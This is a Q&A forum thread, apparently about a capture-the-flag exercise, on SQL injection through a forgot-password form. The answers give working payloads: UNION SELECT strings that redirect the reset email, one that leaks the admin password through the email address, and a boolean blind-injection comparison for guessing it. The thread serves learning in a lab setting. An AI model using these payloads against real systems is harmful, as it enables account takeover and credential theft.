SQL injection via update statement

Question

I'm working on a capture the flag assignment. We were told there was a flag if you can login with credentials admin. The main page does not seem to be vulnerable to SQL injection but the forgot password page is.

Here's the problem, the forget password page only requires username, and it claims to send a password reset link to the email given. I thought we were supposed to bunch in an UPDATE query to modify the password of the admin account so that we can login, but so far, every attempt that I've tried has failed.

Then I read that PHP servers can't bunch together statements, so I'm doubting my general approach now. Could anyone enlighten me on how should I go about this?

The hint given is "the table contains two columns, username and password". But this isn't really helping...?

Answer 1

To send that email, the server needs to fetch the email adress from the database. It probably does something like this:

$sql = "SELECT email FROM users WHERE username = '$username'";

You could try to make it email yourself instead by injectin some SQL into $username:

do_not_exist' UNION SELECT '[email protected]' FROM dual --

But if you got a password reset link, it probably would not be for the admin user. Hmm. Perhaps you could use the email adress itself to exfiltrate some data?

do_not_exist' UNION SELECT password + '@example.com' FROM users WHERE username = 'admin' --

Now you just wait and see what email address get an email. The risk here is that the script also tries to insert a row with the username and the password reset token into some table. If that is done before the email is sent, and that query is also vulnerable, this might just crash the script. But it's worth a try.

Answer 2

It accepted the username admin' and password < '9999 for a password reminder but did not accept admin' and password < '0000

time for a game of guess the number :)